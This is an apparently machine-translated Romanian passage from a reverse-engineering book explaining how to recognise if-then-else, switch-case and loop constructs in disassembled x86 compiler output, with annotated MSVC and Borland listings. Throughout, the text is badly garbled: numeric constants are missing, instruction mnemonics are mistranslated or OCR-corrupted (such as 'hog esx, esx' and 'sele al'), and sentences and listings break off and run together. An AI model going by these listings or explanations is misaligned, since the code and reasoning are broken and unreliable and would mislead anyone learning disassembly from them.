= OF SETB SETC SETNAE a b CF nesemnat == && ZF == CMOVG CMOVNLE Semnat ZF == && SF == F CMOVAE CMOVNC CMOVNB a>=b CF nesemnat == CMOVGE CMOVNL Semnat SF == F CMOVB CMOVC CMOVNAE a )? :- ; // Operator condiționat O descriere detaliată a acestor comenzi poate fi găsită la paginile - din Intel Architecture Software Developer's Manual, Volume : Instruction Set Reference Manual (http://developer intel com/design/pentium/manuals/ htm) ) Capitolul Identificarea constructelor IF - THEN - ELSE dacă (b> ) // Ramificare b=l; altfel b=-l; returnează a+b; } Dacă acest program este rulat prin compilatorul Microsoft Visual C++, rezultatul va fi codul afișat în Lista - - Lista L Rezultatul compilării exemplului prezentat în Lista , împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp ; Rezervați spațiu pentru variabilele locale ; // Operator condiționat ? ; Începutul unei declarații condiționale? oh eh, eh ; Resetăm EAX cmp[ebp+var a], O ; Comparați variabila a cu zero sele al ; Introduceți valoarea x dacă var a dec max ; Reduceți EAX cu unu ; Acum, dacă var a > , atunci EAX := - ; dacă var a , ; dacă var a , atunci EAX := ; dacă var a ” mov[ebp+var b], ; Scriem valoarea în variabila var b jmp scurt continua ; Salt pentru a continua eticheta ; Ramura „var b > ” altfel: ; COD XREF: main+lDОj mov [ebp+var b], OFFFFFFFFh ; Scriem valoarea - la variabila var b continua: cod XREF: main+ Оj ; Sfârșitul ramurii IF-THEN-ELSE ; Rețineți că reprezentarea ramurilor „IF-THEN-ELSE” este mult ; mai compact decât operatorul condițional „?”, dar conține condițional ; tranziții care reduc semnificativ viteza programului mov eax, [ebp+var a] ; Încărcăm valoarea variabilei var a în EAX adăugați eax, [ebp+var b] ; Adăugăm valoarea variabilei var a cu valoarea variabilei var b ; și puneți rezultatul în EAX mov esp, ebp pop ebp ; Închideți cadrul stivei retn Astfel, vedem că este imposibil să se afirme a priori că rezultatul translației operatorului condiționat ? este întotdeauna echivalent cu rezultatul translației al constructului if-then-else Totuși, același Microsoft Visual C++ în modul de optimizare agresiv generează cod identic în ambele cazuri (Listing ) Lista , Rezultatul traducerii exemplului din lista de către compilatorul Microsoft Visual C++ în modul de optimizare agresiv unu proc principal aproape împinge ecx ; Rezervăm spațiu pentru variabilele locale a și b ; Deoarece nu sunt niciodată folosite împreună, ci doar alternativ, ; compilatorul le pune în aceeași locație de memorie mov edx, [esp+ ] ; comanda N operator ? ; Încărcarea valorii unei variabile în EDX a hor eax, eax; operator de comandă N ? ; Resetăm EAX ; Pentru că comanda sele al schimbă numai conținutul lui al și nu ; atinge restul registrului, trebuie $ curățați-l singur Capitolul Identificarea constructelor IF - THEN - ELSE test edx, edx ; comanda N operator ? ; Verificarea variabilei a pentru egalitate la zero mov edx, [esp+ ] ; IF instrucțiune de ramură N ; Încărcarea valorii variabilei b în EDX sele al ; comanda N operator ? ; Introduceți în toate valoarea x dacă a dec eax; comanda N operator ? ; Reduceți EAX cu unu ; Acum, dacă a > , atunci EAX := - ; dacă a , atunci EAX := ; dacă a , atunci EAX := ; dacă a dec ex ; IF instrucțiune de ramură N ; Reduceți ECX cu unu ; Acum, dacă b > , atunci ECX := - ; dacă b , atunci ECX := ; dacă b , atunci ECX := - ; dacă b )?" Marinar":"Lumea "); } Încercați să o implementați în același mod compact folosind ramuri! Dar, de fapt, această comoditate este doar externă, iar compilatorul traduce exemplul de mai sus așa cum se arată în Lista - Lista Exemplul din lista după traducere principal() { static char sO[]="Sailor" static char sl[]="World"; if (a> ) p=sO; else p=sl; printf("Bună ziua, %s\n", p); Compilați ambele liste și dezasamblați fișierele rezultate - ar trebui să fie identice Astfel, atunci când se decompilează programe C/C++, este în general imposibil de spus dacă au folosit o ramură sau o instrucțiune condiționată Cu toate acestea, există încă câteva indicii care ajută la restabilirea adevăratei forme a textului original în unele cazuri speciale De exemplu, este puțin probabil ca un programator să-și construiască lista așa cum se arată în ultimul exemplu De ce să introduci variabile statice și să manipulezi pointerul într-un mod complicat, când este mult mai ușor să folosești o instrucțiune condiționată în loc de ramificare? Astfel, dacă operatorul condiționat se potrivește fără probleme în programul decompilat, iar ramificarea pare artificială, atunci este evident că operatorul condiționat a fost folosit în codul sursă, și nu ramificarea Notă Comenzile condiționate sunt cheia pentru identificarea tipurilor Deoarece analiza rezultatului comparării variabilelor semnate și nesemnate este efectuată de diferite grupuri de instrucțiuni, este posibil, de exemplu, să distingem cu încredere și fără ambiguitate int semnat de int nesemnat Caracteristici ale instrucțiunilor de ramificare condiționată în modul pe biți Una dintre caracteristicile neplăcute ale modului pe biți este „gama” limitată de instrucțiuni de ramificare condiționată În efortul de a obține o compactitate ridicată a codului, dezvoltatorii microprocesorului au alocat doar un octet adresei țintă, limitând astfel lungimea saltului în Capitolul Identificarea constructelor IF - THEN - ELSE interval de de octeți Aceasta este așa-numita tranziție scurtă (scurtă), adresată printr-un decalaj de semn relativ, numărat de la începutul instrucțiunii care urmează instrucțiunii de salt (Fig ) Această schemă de adresare limitează lungimea saltului înainte (adică în jos) la doar de octeți, iar lungimea săriturii înapoi (adică în sus) este chiar mai mică - (datorită faptului că în acest caz necesită „cruce” și un salt comanda) Ramura aproape necondiționată, care este adresată de doi octeți și operează pe întregul segment, este lipsită de aceste restricții : str ZVZZ : je : ZZSO [porc + = : NW retn : B / tov A: SZ retn ah, bh - ah, bh topor, -* Orez Reprezentarea internă a unei scurte tranziții Salturile scurte fac traducerea ramurilor mai dificilă - la urma urmei, nu fiecare adresă țintă se află în de octeți! Există multe modalități de a ocoli această limitare Următorul este cel mai popular exemplu: dacă traducătorul vede că adresa țintă este în afara ramurii condiționate, inversează condiția de declanșare și face un salt scurt (scurt) la eticheta de continuare și transmite controlul etichetei do it , control al săriturii de aproape (aproape), valabil în cadrul unui segment (Fig ) SMR A, B Jx do it - continua: " // eu // foarte g // multe ® // cod B // * Fă-o: CMP A, B inversare condiție JN t continua - JMP do it - continua:^— // // foarte // // // Fă-o: Săritura scurtă condiționată mult cod ramura aproape necondiționată funcționează pe întregul segment Orez Transmite scurtături În mod similar, puteți ieși în situații în care adresa țintă este situată într-un segment complet diferit - doar înlocuiți saltul aproape necondiționat cu unul îndepărtat Spre marea fericire a dezvoltatorilor de compilatoare (și nu mai puțin a hackerilor) care dezasambla programele, în modul pe de biți ramura condiționată „bat” în întreg spațiul de adrese de patru gigabyte și toate aceste probleme dispar Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Exemple practice Acum, pentru a înțelege mai bine materialul acoperit în acest capitol, să ne uităm la câteva exemple „vii” compilate de diverși compilatori Să începem prin a examina relațiile întregi elementare (Listarea ) Listare Exemplu de investigare a relațiilor întregi elementare #include principal() { int a; intb; if (a b) printf("a>b"); if (a==b) printf("a==b"); if (a'=b) printf("a =b"); if (a>=b) printf("a>=b"); if (a = var b, atunci mergeți pentru a continua, altfel imprimați linia ; Rețineți că codul original arăta astfel: ; if (a var b Atunci codul sursă al programului ar trebui să arate astfel: (a>b) printf("a>b"); push call add offset aAB ; „a>b” pnntf esp, loc : ; COD XREF: principal+ îj mov edx, [ebp+var a] ; Încărcăm valoarea variabilei var a în EDX cmp edx, [ebp+var b] ; Comparați valoarea variabilei var a cu variabila var b jnz scurt loc ; Salt dacă var a =var b, altfel tipăriți linia ; Prin urmare, codul original al programului arăta astfel: ; if (a==b) printf("a==b"); push call add offset aAB ; "a==b" pnntf esp, loc : ; COD XREF: principal+ Îj mov eax, [ebp+var a] ; Încărcăm valoarea variabilei var a în EAX cmp eax, [ebp+var b] ; Comparați valoarea variabilei var a cu valoarea variabilei var b jz scurt os A ; Salt dacă var a==var b, altfel tipăriți șirul ; Prin urmare, codul original al programului arăta astfel: ; if (a!==b) printf("a!=b"); push call add offset aAB ; "a'=b" pnntf esp, loc A: ; COD XREF: principal+ BÎj mov ecx, [ebp+var a] Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Încărcăm valoarea variabilei var a în ECX cmp exx, [ebp+var b] ; Comparați valoarea variabilei var a cu variabila var b jl scurt loc F ; Salt dacă var a =b) printf("a>=b"); push offset aAB ; "a>=b" apelați printf adăugați esp, loc F: C DE XREF: principal+ Î] mov edx, [ebp+var a] ; Încărcăm valoarea variabilei var a în EDX cmp edx, [ebp+var b] ; Comparați valoarea variabilei var a cu variabila var b Zjg scurt loc ; Salt dacă var a>var b, altfel tipăriți șirul ; Prin urmare, codul original al programului arăta astfel: } if (a principal() { unsigned int a; unsigned int b; int c; int d; if (d) printf("ADEVARAT"); else if (((a>b) && (a'= )) || ((a==c) && (c'= ))) printf("OK\n"); if (c==d) printf("+++\n"); } Rezultatul compilarii exemplului din Lista - ar trebui să arate ceva ca Lista - Lista Rezultatul compilării exemplului pentru a identifica condițiile compuse (Listing ) proc aproape var d = dword ptr -lOh var C = dword ptr -OCh var b = dword ptr - var a = dword ptr - Capitolul Identificarea construcţiilor DACĂ - ATUNCI - ALTA împinge ebp mov ebp, esp ; Deschiderea unui cadru de stivă sub special, Oh ; Rezervarea spațiului pentru variabilele locale cmp[ebp+var d], O ; Compararea valorii variabilei var d cu zero jz scurt oc B ; Dacă var d este zero, săriți la eticheta oc B, în caz contrar ; șirul de tipărire TRUE Schematic, aceasta poate fi reprezentată după cum urmează: ; var d == O /\ ; IOC IB printf("ADEVARAT"); push offset $SG ; "ADEVĂRAT" apelați printf adăugați esp, jmp scurt loc ; Aducem această tranziție condiționată în arborele nostru ,- var d == O ; /\ ; oc B printf("ADEVARAT"); eu ; os os V: C DE XREF: main+AÎjj mov eax, [ebp+var a] ; Încărcăm valoarea variabilei var a în EAX cmp eax, [ebp+var b] ; Comparați variabila var a cu variabila var b jjbe scurt loc ; Dacă var a este mai mică sau egală cu var b, atunci săriți la oc ; Altoirem un nou cuib în copacul nostru, acordând atenție pe parcurs ; că var a și var b sunt variabile nesemnate ; var d == O /\ ; oc B printf("ADEVARAT"); II ; var a var b) && (var '= )) || (var a == var c) && (var c '= )) printf("OK") Acum atașăm else la primul if și obținem: if (var d i= ) THEN printf("OK") ELSE IF(( var a > var b) && (var '= )) || (var a = = var c) && (var c ' = )) printf("OK") Ei bine, analiza celui de-al doilea arbore este în general banală: if (var c==var d) printf ("+++") Deci, codul sursă pentru programul de dezasamblat arăta ca Lista - Lista Codul sursă restaurat al exemplului dezasamblat U int a; u intb; ? int C; ? intd; if (d) printf("ADEVARAT"); altfel if (((a>b) && (a'= )) || ((a==c) && (c'= ))) printf(" K\n"); if (c==d) printf("+++\n"); Am definit tipul de variabile a și b ca int unsigned, deoarece rezultatul comparării lor a fost analizat de comanda condițională unsigned jnb Dar tipul variabilelor c și d, din păcate, nu a putut fi determinat Cu toate acestea, acest lucru nu diminuează semnificația faptului că am reușit să transmitem o stare complexă în care, fără copaci, ar fi ușor să ne confundăm Optimizarea ramurilor Ce viclenie - sub steagul optimizării pentru a face din fiecare linie de cod un puzzle Să presupunem că dați peste un cod care arată ceva ca Lista - Amintiți-vă că instrucțiunea setge setează operandul de ieșire la dacă steagurile de stare sf și of sunt egale (adică sf==of), în caz contrar operandul de ieșire este setat la zero , Lista Un exemplu de cod ofuscat generat de un compilator de optimizare mov eax, [var A] hog esx, esx str eax, x setge cl dec ex și ex, xFFFFFCOO adăugați ecx, x mov [ var z zz ] , ecx La prima vedere, acest fragment este împrumutat de la un mecanism inteligent de apărare, dar de fapt nu este Iată rezultatul compilării următoarei expresii triviale Capitolul Identificarea constructelor IF - THEN - ELSE De exemplu, dacă (a ; Acordați o atenție deosebită acestui punct - până la urmă, în textul original ; nu a existat o astfel de operațiune! ; Mai mult, această tranziție nu duce la un apel la funcția printf, adică la aceasta ; fragmentul de cod a fost obținut nu prin traducerea directă a unei anumite ramuri de caz, ci ; într-un alt fel! cmp[ebp+var tmp], ; Comparați valoarea lui var a cu două ; „Întructură” evidentă a compilatorului - tocmai am făcut asta ; funcționare și nu au mai fost schimbate steaguri de atunci! jz scurt loc F ; Salt la printf("a == ") dacă var a este OK, ; acest cod este obținut în mod explicit prin traducerea ramurii CAZ : printf("a == ") cmp[ebp+var tmp], ; Compară var a cu zero jz scurt loc ; Salt la printf("a =- ") dacă var a == ; Acest cod este obținut prin traducerea ramurii CASE : printf("a == ") cmp [ebp+var tmp], Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Compară var a cu una jz scurt os ; Salt la printf("a == ") dacă var a == ; Acest cod a fost obținut prin traducerea ramului CAZ : printf("a == ") jmp scurt loc D ; Salt la printf(„Implicit”) apel ; Acest cod este obținut prin traducerea ramurii implicite: printf("a == O") os : ; COD XREF: principal+ Îj ; Această ramură preia controlul dacă var a > emp [ebp+var tmp], h ; Comparați var a cu valoarea x jz scurt oc E ; Salt la printf("a == h") dacă var a == x ; Acest cod este obținut prin traducerea ramului CASE Oxbb: printf("a == bbbb") jmp scurt loc D ; Salt la printf(„Implicit”) apel ; Acest cod este obținut prin traducerea ramurii implicite: printf("a == ") os : COD XREF: principal+lcîj ; // printf("A == ") push offset aAO ; „A== ” sunați la pnntf adăugați esp, jmp ghort loc A ; a aici este declarația break care scoate ; control în afara comutatorului - dacă nu ar fi acolo, atunci am începe ; toate celelalte ramuri CASE sunt executate, indiferent de care ; ele aparțin valorii var a! os : ; // printf("A == ") push offset aAl apelați printf adăugați esp, jmp scurt loc A ; COD XREF: principal+ Îj „A== ” loc F: ; // printf("A == ") push offset aA apelați printf adăugați esp, jmp scurt loc A ; O pauza loc E: ; // printf("A == h") push offset aA h apelați printf adăugați esp, jmp scurt loc A ; COD XREF: principal+ Îj ; „A== ; COD XREF: principal+ DОj ; „A== h” Capitolul Identificarea construcțiilor COMUTATOR - CAZ - RUMPĂ ; * pauză loc D: ; // printf("Implicit") push offset aApel implicit ^printf adăugați esp, loc A: ; // COMUTATOR DE sfârșit mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal ; COD XREF: main+ Îj main+ FÎj ; "Mod implicit" ; COD XREF: main+ EÎj main+ DÎj După ce am construit un arbore logic , vom obține imaginea prezentată în Fig Când îl studiem, este izbitor, în primul rând, condiția a > , care nu era în programul original În al doilea rând, este imposibil să nu observăm că ordinea procesării cauzei s-a schimbat În același timp, apelurile funcției printf urmează unul după altul strict conform declarației lor De ce este compilatorul atât de ciudat? Ce speră să obțină cu asta? a> a = = a = = h printff'a == "); printf("a = = h"); printff'a = = O"); printff'Default"); printff'a = = r'); Orez Un exemplu de traducere a unei instrucțiuni switch de către compilatorul Microsoft Visual C++ Scopul cuibului (a> ) este explicat foarte simplu - procesarea secvențială a tuturor declarațiilor de caz este extrem de neproductivă Ei bine, dacă nu sunt mai mult de patru sau cinci dintre ele, dar ce se întâmplă dacă programatorul împinge câteva sute de cazuri în comutator? Procesorul le va verifica pe toate și, în același timp, conform legii lui Murphy, cazul necesar va fi la sfârșit Aici compilatorul „tasează” arborele, reducându-i înălțimea În loc de o ramură prezentată în Fig , traducătorul în cazul nostru a construit două, punând în stânga doar numere mai mari de două, iar restul în dreapta Datorită acestui fapt, ramura h de la capătul copacului a fost mutată la începutul acestuia Această metodă de optimizare a căutării valorilor se numește metoda fork Acesta va fi discutat mai detaliat mai târziu în acest capitol, în Sect „Tăierea copacilor lungi” Schimbarea ordinii comparațiilor este dreptul compilatorului Standardul nu spune nimic despre acest lucru și fiecare implementare este liberă să facă ce vrea Un alt lucru este gestionatorii de cazuri (adică codul căruia caz îi transferă controlul dacă relația este adevărată) Acestea trebuie localizate asa cum au fost declarate in program, deoarece in lipsa Această problemă a fost discutată în detaliu în Capitolul , „Identificarea constructelor IF-then-ELSE” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Instrucțiunea break de închidere, acestea trebuie executate exact în ordinea dorită de programator, deși această caracteristică a limbajului C este rar folosită Astfel, identificarea instrucțiunii switch nu este mult mai complicată Dacă, după distrugerea cuibului nodului și altoirea ramurii drepte la stânga (sau invers), obținem un arbore echivalent, iar acest arbore formează o „codă de porc” caracteristică - avem de-a face cu un operator cu alegere multiplă sau analogul său Întreaga întrebare este, avem dreptul de a șterge cuibul, această operațiune va încălca structura arborelui? Ne uităm - pe ramura stângă a cuibului nodal există cuiburi (a == ), (a == ) și (a == ), iar în dreapta - (a == x ) Evident, dacă a == x , atunci a != și a != ! Prin urmare, altoirea ramurii drepte pe ramura stângă este destul de sigură, iar după o astfel de transformare, arborele ia forma tipică unui construct de comutator (Fig ) Orez Trunchierea arborelui logic Din păcate, o tehnică atât de simplă de identificare nu funcționează întotdeauna! Dacă compilam exemplul nostru cu compilatorul Borland C++ , codul va arăta ca Lista ! Lista " Rezultatul compilării exemplului prezentat în Fig , folosind compilatorul ' Borland C++ ; int cdecl main(int argc, const proc principal aproape char **argv,const char *envp) ; DATE XREF: DATE: IO împinge ebp mov ebp, esp ; Deschiderea cadrului stivei ; Compilatorul plasează variabila noastră a în registrul EAX ; Deoarece nu a fost inițializat, observați acest fapt; nu asa de usor! sub eax, ; Reduce EAX cu unu! Ce ar însemna asta? ; Nu a existat nicio scădere în programul nostru! jb scurt os ; Dacă EAX a fost deja tratat mai sus, atunci ; această ramură funcționează cu condiția a>= && a Orez Arborele logic înainte de echilibrare (a) și după (b) Puteți corecta „deformarea” tăind o ramură în două și altoind jumătățile rezultate într-un nou cuib care conține o condiție care determină care dintre ramuri să caute variabila comparată De exemplu, ramura din stânga poate conține cuiburi cu valori pare, în timp ce ramura din dreapta poate conține cuiburi cu valori impare Dar acesta este un criteriu slab, deoarece valorile pare și impare sunt rareori egale și, din nou, se formează o înclinare Este mult mai sigur să faceți acest lucru: luați cea mai mică dintre toate valorile și puneți-o în grupul a, apoi luați cea mai mare dintre toate valorile și puneți-o în grupul b Deci, repetăm până când sortăm toate valorile disponibile (Fig , b) Deoarece operatorul cu alegere multiplă necesită unicitatea fiecărei valori, adică fiecare număr poate apărea o singură dată într-un set (gamă) de valori, este ușor să arătăm că: □ Ambele grupuri vor conține un număr egal de numere (în cel mai rău caz, unul dintre grupuri va conține încă un număr □ Toate numerele din grupa a sunt mai mici decât cel mai mic număr din grupa B Prin urmare, este suficient să se efectueze o singură comparație pentru a determina în care dintre cele două grupuri să caute valorile comparate Înălțimea copacului nou va fi + J, unde N este numărul de cuiburi din copacul vechi Acțiune- N într-adevăr, împărțim ramura copacului în două și adăugăm un nou cuib - de aici luăm y și + , și (N+ ) este necesar pentru a rotunji rezultatul împărțirii Astfel, dacă înălțimea copacului neoptimizat era de de cuiburi, acum a fost redusă la Aceasta este deja mai bună, dar totuși mult Totuși, ce ne împiedică să împărțim fiecare dintre cele două ramuri în încă două? Acest lucru va reduce înălțimea copacului la de cuiburi! În mod similar, compactarea ulterioară va da —* —> —> —> și atât! O ambalare mai densă a copacului este imposibilă (gândiți-vă de ce - în cel mai rău caz, construiți copacul însuși) Dar, vezi tu, opt cuiburi nu sunt o sută! O parcurgere completă a arborelui optimizat ar necesita mai puțin de nouă comparații! Aproape toți compilatoarele pot „tampa” arborii logici ai operatorului cu alegere multiplă – chiar și cei neoptimizatori! Acest lucru îmbunătățește performanța, dar o face dificilă Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt analiza programului compilat Aruncă o altă privire la fig - arborele dezechilibrat din stânga este vizual și intuitiv După echilibrare (copacul potrivit), devine dificil să-l dai seama Din fericire, echilibrarea arborilor permite o transformare inversă eficientă Dar înainte de a trece la aceasta, introducem conceptul de nod de echilibrare Nodul de echilibrare nu schimbă logica arborelui binar și este un nod opțional, a cărui singură funcție este de a scurta lungimea ramurilor Nodul de echilibrare poate fi înlocuit cu oricare dintre ramurile sale fără a pierde funcționalitatea arborelui Mai mult, fiecare ramură a nodului de echilibrare trebuie să conțină una sau mai multe prize Argumentând contrariul - dacă toate nodurile arborelui logic, a cărui ramură dreaptă conține unul sau mai multe cuiburi, pot fi înlocuite cu această ramură dreaptă fără a pierde funcționalitatea arborelui, atunci această construcție este o declarație de comutare De ce exact ramura potrivită? Deci, la urma urmei, operatorul cu alegere multiplă în starea „extinsă” reprezintă un lanț de cuiburi legate între ele prin ramuri din stânga, iar cele din dreapta ținând manevre de caz - așa că încercăm să agățăm toate cuiburile drepte la stânga ramură Dacă acest lucru reușește, avem de-a face cu un operator cu alegere multiplă, altfel avem de-a face cu altceva Să luăm în considerare inversarea echilibrării utilizând exemplul următorului arbore (Fig , a) Deplasându-ne din ramura din stânga jos, vom continua să urcăm în copac până când întâlnim un nod care ține unul sau mai multe cuiburi pe ramura sa dreaptă În cazul nostru, acesta este nodul (a > ) Uite: dacă acest nod este înlocuit cu prizele sale (a== ) și (a== ), atunci funcționalitatea arborelui nu va fi ruptă (Fig , b) În mod similar, nodul (a> ) poate fi înlocuit fără durere de cuiburi (a> b), (a== b), (a== ) și (a== ), iar nodul (a> ) ), la rândul lor, cuiburi (a == ), (a == bbb) și (a == ) Ca urmare, se formează un arbore de comutare clasic, în care operatorul cu alegere multiplă este recunoscut dintr-o privire (Fig , c) a> în) toate nodurile de echilibrare au primit un arbore constând dintr-o ramură, atunci aceasta este o declarație switch = a/= \;= ? Dacă un nod poate fi înlocuit cu ramura sa dreaptă fără a pierde funcționalitatea arborelui, atunci nodul este un nod de echilibrare Orez Reechilibrarea arborelui logic Capitolul Identificarea construcțiilor SWITCH - CAZ - BREAK Cazuri dificil de echilibrat sau optimizarea echilibrării Pentru a reduce înălțimea arborelui care este echilibrat, traducătorii tind să înlocuiască cuiburile existente cu noduri de echilibrare Luați în considerare exemplul prezentat în fig Pentru a reduce înălțimea copacului, traducătorul îl împarte în două jumătăți - cuiburile cu valori mai mici sau egale cu unul merg la stânga, iar restul merg la dreapta S-ar părea că un cuib (a== ) ar trebui să atârne pe ramura dreaptă a nodului (a> ), dar nu! Aici vedem un nod (a> ), la ramura din stanga caruia este atasat handlerul de caz : ! De fapt, totul este destul de logic - dacă (a> ) ȘI ! (a> ), ATUNCI a == ! Este ușor de observat că nodul (a> ) este conectat rigid la nodul (a> ) și funcționează în tandem cu acesta din urmă Este imposibil să arunci unul dintre ele fără a încălca performanța celuilalt! Este imposibil să inversați echilibrarea arborilor conform algoritmului descris mai sus fără a-i încălca funcționalitatea! De aici se poate crea o părere că nu avem de-a face cu un operator cu alegere multiplă, ci cu altceva Pentru a înlătura această concepție greșită, vor trebui luați o serie de pași suplimentari În primul rând, într-un arbore de comutare, toți gestionanții de caz sunt întotdeauna pe ramura dreaptă Să vedem dacă este posibil să ne transformăm arborele astfel încât handlerul de caz : să fie pe ramura stângă a nodului de echilibrare? Da, acest lucru se poate face prin înlocuirea (a> ) cu (a ) sunt absolut lipsite de sens Astfel, putem elimina în siguranță din arborele logic toate cuiburile cu condiții care nu se aplică variabilei comparate (variabila cuib rădăcină) Ei bine, ce se întâmplă dacă programatorul „lidă” se ramifică în manipulatori de cazuri în raport cu variabila comparată?! Se pare că asta nu complică deloc analiza! Ramurile „sudate” sunt pur și simplu recunoscute și tăiate fie ca redundante, fie niciodată executate De exemplu, dacă un cuib (a > ) este atașat la ramura dreaptă a cuibului (a == ), atunci acesta poate fi îndepărtat deoarece nu conține nicio informație Dacă, pe de altă parte, un cuib (a == ) este atașat de ramura dreaptă a aceluiași cuib, atunci acesta poate fi șters ca și cum nu ar rula niciodată - până la urmă, dacă a == z, atunci evident a! = ! Capitolul Identificarea ciclului Buclele sunt singurele (cu excepția soto) constructe de limbaj de nivel înalt care au o referință „înapoi”, adică la regiunea adreselor inferioare Toate celelalte tipuri de ramuri - indiferent dacă este - atunci - altfel sau declarația switch cu alegere multiplă, sunt întotdeauna direcționate „în jos” - către zona de adrese mai înalte Drept urmare, arborele logic care descrie ciclul este atât de caracteristic încât este ușor de recunoscut dintr-o privire Există trei tipuri principale de bucle: bucle cu o condiție la început (Fig , a), bucle cu o condiție la sfârșit (Fig , b) și bucle cu o condiție la mijloc (Fig , c) Buclele combinate au mai multe condiții în puncte diferite, cum ar fi începutul și sfârșitul în același timp Pornirea ciclului eu Condiție^ I Operator Operatorul Pornirea ciclului Pornirea ciclului Operatorul Operatorul Operatorul Condiție Operatorul Operatorul N Salt necondiționat Sfârșitul ciclului Operatorul N Condiție Sfârșitul ciclului Sfârșitul ciclului Operatorul N Salt necondiționat Orez Variante ale structurii arborelui logic al ciclului La rândul lor, condițiile sunt de două tipuri: condiții pentru terminarea buclei și condițiile pentru continuarea buclei În primul caz, dacă condiția de terminare este adevărată, atunci are loc tranziția la sfârșitul buclei, în caz contrar bucla continuă să ruleze În al doilea caz, dacă condiția de continuare a buclei este falsă, atunci are loc tranziția la sfârșitul buclei, în caz contrar, execuția buclei continuă Este ușor de arătat că condițiile de continuare a buclei sunt condiții de terminare inversate Astfel, din partea traducătorului, este suficient să suporte condiții de un singur tip Într-adevăr, instrucțiunile while, do și for ale lui C se ocupă exclusiv de condițiile de continuare a buclei De asemenea, declarația lui Pascal Capitolul Identificarea ciclurilor funcționează cu condiția de continuare a buclei, iar singura excepție este operatorul repeat-until, care așteaptă ca condiția de terminare a buclei să fie îndeplinită Bucle cu o condiție prealabilă În C și Pascal, suportul pentru buclele condiționate de la început (cunoscute și ca bucle de precondiție) este oferit de instrucțiunea while (condiție), unde condiția este o condiție pentru continuarea buclei Deci bucla while (a ) rămâne adevărată Cu toate acestea, compilatorul, dacă se dorește, poate inversa condiția de continuare a buclei, transformând-o într-o condiție de terminare a buclei Pe platforma Intel x , acest truc salvează una sau două instrucțiuni ale mașinii Luați în considerare exemplul din Lista - , care are o buclă în partea stângă cu o condiție de terminare și o buclă în partea dreaptă cu o condiție de continuare După cum puteți vedea, bucla cu condiția de terminare este cu o instrucțiune mai scurtă Prin urmare, aproape toate compilatoarele, chiar și cele care nu sunt optimizate, generează întotdeauna prima variantă În același timp, unele compilatoare foarte avansate pot chiar transforma buclele de precondiție în bucle și mai eficiente cu o condiție la sfârșit, despre care vom discuta puțin mai târziu, în secțiunea „Buclele de post condiție” , Listarea K, Un exemplu de buclă cu o condiție de terminare a buclei (opțiunea ) și un exemplu de aceeași buclă, dar cu condiția continuării ciclului (opțiunea ) Opțiunea Opțiunea în timp ce: în timp ce: SMP A, SMP A, JAE sfârșitul JB continuă INC A JMP sfârşit JMP în timp ce continuă: final: INC A JMP la sfârșit: O buclă cu o condiție de terminare nu poate fi mapată direct la o instrucțiune while Apropo, începătorii uită adesea de acest lucru, făcând greșeala „ce văd, scriu”; în timp ce (a >= ) a+ + Cu o astfel de condiție, această buclă nu va fi niciodată executată deloc! Dar cum se efectuează inversarea condiției și, în același timp, se garantează că nu faceți o eroare? S-ar părea că ar putea fi mai simplu - dar cereți unui hacker familiar să numească operația, inversul cuvântului „mai mare decât” S-ar putea foarte bine să fie (chiar cu siguranță!), răspunsul va fi „mai puțin” Dar nu, răspunsul corect este „mai mic sau egal cu” O listă completă a operațiilor inverse ale relațiilor poate fi găsită în tabel Tabelul Operații de relație inversă Operație booleană Operație cu logică inversă == i= t === > = >= , b && b || b = ; dacă (a == ) Celebra carte „The C Progiamming Language” de Brian Kernighan și Dennis Ritchie ediția cunoscută sub numele de „noul testament” a fost publicată în A fost revizuită pentru a ține cont de toate modificările aduse noului standard ANSI C Al doilea ediția a fost tradusă în peste de limbi, inclusiv rusă (B Kernighan, D Ritchie, „The C Programming Language” - Williams, ) Avertisment W Utilizarea expresiei nu are sens Șirul conține o expresie care nu efectuează nicio acțiune utilă În exemplul „i = ( , ),” expresia „ ,” este lipsită de sens Acest mesaj este, de asemenea, generat pentru comparații fără sens” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt JNZ JMP JMP woo repeta repeta ; Treceți la opțiunea „altfel” dacă un „= ; principal() Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt int a= ; while(a++ ); Compilarea acestui exemplu cu compilatorul implicit Microsoft Visual C++ ar trebui să arate ca Lista - Lista Rezultatul traducerii exemplului din lista de către compilator ; Microsoft Visual C++ cu setări implicite „Sunt Proc aproape; C DE XREF: start+AFip var a = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Rezervăm memorie pentru o variabilă locală mov[ebp+var a] , ; Atribuim valoarea x variabilei var a os V: ; C DE XREF: main + >h ; O referință încrucișată în jos indică faptul că acesta este începutul ; ciclu Desigur: deoarece referința încrucișată este îndreptată în jos, atunci ; tranziţia referitoare la această adresă va fi îndreptată în sus mov eax, [ebp+var a] ; Încărcăm valoarea variabilei var a în EAX mov ex, [ebp+var a] ; Încărcăm valoarea variabilei var a în ECX ; (mioparea compilatorului - s-ar fi putut face mai scurt: ; MOV ECX, EAX) adăugați ex, ; Creșteți ECX cu unul mov [ebp+var a], esx ; Se actualizează vag a cmp eax, OAh ; Comparați valoarea veche (înainte de actualizare) a variabilei ; var a cu numărul OxA jge scurt loc B ; Dacă var a >= OxA - săriți „înainte”, direct în spatele instrucțiunii ; săritură necondiționată îndreptată „în spate” Capitolul Identificarea ciclurilor ; Din moment ce "înapoi", atunci - acesta este un ciclu și din moment ce condiția de ieșire din ; bucla este verificată la începutul ei, apoi este o buclă cu o precondiție ; Pentru a-l mapa în bucla while, trebuie să inversați condiția ; ieșire din buclă la condiția de continuare a buclei (adică înlocuiți >= cu , atunci mergeți la începutul buclei ; Deoarece condiția este situată la sfârșitul corpului buclei, această buclă este un do: ,- do printf ("Instrucțiunea buclă do\n"); în timp ce ( a > ) ; // Pentru a îmbunătăți lizibilitatea textului dezasamblatorului, este recomandat ; // înlocuiți prefixele oc la începutul buclei cu while și do (repetați) în ; // bucle cu pre- și, respectiv, post-condiții Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal Un rezultat complet diferit va fi obținut dacă activați optimizarea Să compilam același exemplu cu comutatorul /Ox (optimizare maximă) și să ne uităm la rezultatul produs de 